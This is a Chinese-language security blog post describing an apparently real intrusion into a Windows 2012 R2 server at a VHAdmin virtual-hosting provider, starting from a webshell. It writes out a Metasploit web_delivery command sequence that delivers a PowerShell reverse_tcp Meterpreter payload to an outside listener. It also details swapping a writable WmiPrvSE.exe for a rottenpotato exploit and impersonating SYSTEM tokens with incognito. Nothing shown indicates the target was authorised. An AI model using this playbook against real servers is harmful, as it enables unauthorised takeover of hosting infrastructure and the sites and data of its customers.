1. 程式人生 > 其它 >msf實戰提權windows_VHAdmin虛擬主機提權實戰案例

msf實戰提權windows_VHAdmin虛擬主機提權實戰案例

技術標籤:msf實戰提權windowswindows chromedriver 提權windows powershell實戰指南(第3版)

宣告:該公眾號大部分文章來自作者日常學習筆記,也有少部分文章是經過原作者授權和其他公眾號白名單轉載,未經授權,嚴禁轉載,如需轉載,聯絡開白。請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良後果與文章作者和本公眾號無關。

所有話題標籤:

#Web安全 #漏洞復現 #工具使用 #許可權提升

#許可權維持#防護繞過#內網安全 #實戰案例

#其他筆記 #資源分享

0x01 前言

朋友發過來的是一個ASP Webshell,我們先用中國菜刀連線Webshell看下是否能夠直接執行系統命令,出現了“[Err] ActiveX 部件不能建立物件”,原因是Wscript.Shell元件被解除安裝,嘗試利用另一個元件Shell.Application執行命令時發現也被解除安裝了。

0x02 資訊蒐集

目標機器基本資訊:
支援指令碼:ASP(元件被解除安裝)、ASPX目標系統:Windows 2012 R2(IIS8.5)當前許可權:IIS APPPOOL\AP_v2.0Classic3開放埠:21、80、135、445、3389
VHAdmin虛擬主機(商務中國)特徵:
VHAdmin Version:2013.7.26.15 Builded 2011/10/20VHAdmin服務名:VHAdminServiceVHAdmin程序名:VHAdminService.exe、VHAdminTools.exe、VHConfigManager.exe網站絕對路徑:D:\webhosting\clients\b85f066a-657c-43d1-a219-b6b4cee0c415\wwwroot\[...SNIP...]
e9b7edb6-6317-eb11-8da9-e4434bdf6706.png

0x03 實戰提權過程

(1) 繞過元件執行命令

我們換上ASPX的一句話木馬試試,訪問時出現了以下錯誤,大家看到這種報錯時可能會以為是“網站安全狗(IIS版)禁止IIS執行程式”防護功能造成的,雖然它很像,但其實並不是的,具體目標伺服器的安全設定當時沒有去深入研究。 eab7edb6-6317-eb11-8da9-e4434bdf6706.png 我們再換上自己改的一個ASPX執行命令指令碼,可以看到是能夠正常解析的,但是在執行命令時仍然會提示“拒絕訪問。”。這個問題好解決,直接用ASP或ASPX指令碼探測目標機器裡的可讀/寫/替換的目錄和檔案,然後自己上傳一個cmd.exe檔案即可。
可讀寫目錄:C:\Windows\temp\C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\可替換檔案:C:\Windows\WinSxS\amd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.3.9600.18265_none_01378f425f4b27cb\WmiPrvSE.exe

ebb7edb6-6317-eb11-8da9-e4434bdf6706.png

雖然現在通過ASPX指令碼能夠執行系統命令了,但是隻能執行部分命令,而且我們上傳的各種提權EXP、MSF載荷檔案到可讀/寫目錄中都不能執行,除了自己上傳的這個cmd.111, 實踐測試中遇到的問題要比以下描述複雜的多,這裡只是簡單的記錄了幾點比較重要的。

測試-1:

將提權EXP檔案放置Cmd_Path中可以被執行,但測試了幾乎所有的提權EXP都沒能成功將當前許可權提升至System。

測試-2:

將MSF EXE載荷檔案放置Cmd_Path中執行可以獲取Meterpreter會話,但是很多命令都執行不了,如:getuid、list_tokens等等,getpid、ps、netstat、upload、execute這些命令倒是可以正常執行,但用rottenpotato提權EXP必須用到upload、execute、list_tokens,所以這種方法目前不可行,可以嘗試利用execute重新執行一個MSF EXE載荷檔案,然後再執行list_tokens。

edb7edb6-6317-eb11-8da9-e4434bdf6706.png

(2) web_delivery獲取會話

web_delivery模組中配置好相關引數並執行監聽,然後在ASPX指令碼的Argument引數中執行剛剛生成的Powershell載荷,成功獲取到目標機器的Meterpreter會話。
msf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2msf exploit(web_delivery) > set payload windows/x64/meterpreter/reverse_tcpmsf exploit(web_delivery) > set lhost 107.***.***.242msf exploit(web_delivery) > set lport 443msf exploit(web_delivery) > set URIPATH /msf exploit(web_delivery) > exploit
efb7edb6-6317-eb11-8da9-e4434bdf6706.png f4b7edb6-6317-eb11-8da9-e4434bdf6706.png f6b7edb6-6317-eb11-8da9-e4434bdf6706.png

(3) 替換WmiPrvSE.exe提權

這裡我們就要用到前邊ASP指令碼探測到的WmiPrvSE.exe可替換檔案了,筆者在實戰過程中測試了1個小時,最終確定只有這個可替換檔案能夠執行成功,其它可讀/寫目錄中上傳的檔案都執行不了。將我們的rottenpotato提權EXP檔名改為WmiPrvSE.exe,上傳並替換掉這個檔案。

C:\Windows\WinSxS\amd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.3.9600.18265_none_01378f425f4b27cb\WmiPrvSE.exe
fab7edb6-6317-eb11-8da9-e4434bdf6706.png 然後在Meterpreter會話中用execute命令執行 WmiPrvSE.exe ,接著 使用use命令載入incognito擴充套件並執行list_tokens、impersonate_token命令來進行許可權提升。 fcb7edb6-6317-eb11-8da9-e4434bdf6706.png

0x04事後原因分析

我們的rottenpotato提權EXP必須在“iis apppool”許可權下才能利用成功,用以上方法已經獲取到目標機器的SYSTEM許可權。有意思的是筆者在這次實戰測試中發現用以下兩種不同方式執行Payload獲取的Meterpreter會話執行許可權也不一樣,具體原因不明!

(1) Argument執行Payload

Argument中執行Powershell載荷獲取到的Meterpreter會話是以“iis apppool”許可權來執行的,所以我們是可以直接使用upload、execute命令來上傳和執行提權EXP的,而且可以用list_tokens、impersonate_token命令獲取到目標機器的SYSTEM許可權。

feb7edb6-6317-eb11-8da9-e4434bdf6706.png

(2) Cmd_Path執行Payload

Cmd_Path中直接執行64.111載荷是以一種“未知低許可權”來執行的,但事後的測試中發現可讀/寫目錄中上傳的提權EXP其實也是可以執行的,當時只是因為許可權的問題所以沒有利用成功。

ffb7edb6-6317-eb11-8da9-e4434bdf6706.png

注意事項:

  1. Meterpreter會話中無法執行中國菜刀上傳的提權EXP,提示:Access is denied(拒絕訪問)。

  2. Meterpreter會話中用upload命令上傳的提權EXP是可以用execute執行的,刪除提權EXP時也只能在當前會話中用rm命令刪除,中國菜刀裡刪除不了。雖然現在可以上傳和執行提權EXP了,但是list_tokens命令仍然不能執行,所以也並不推薦此方法。



【推薦書籍】
00b8edb6-6317-eb11-8da9-e4434bdf6706.png 02b8edb6-6317-eb11-8da9-e4434bdf6706.gif如果對你有所幫助,點個分享、贊、在看唄!02b8edb6-6317-eb11-8da9-e4434bdf6706.gif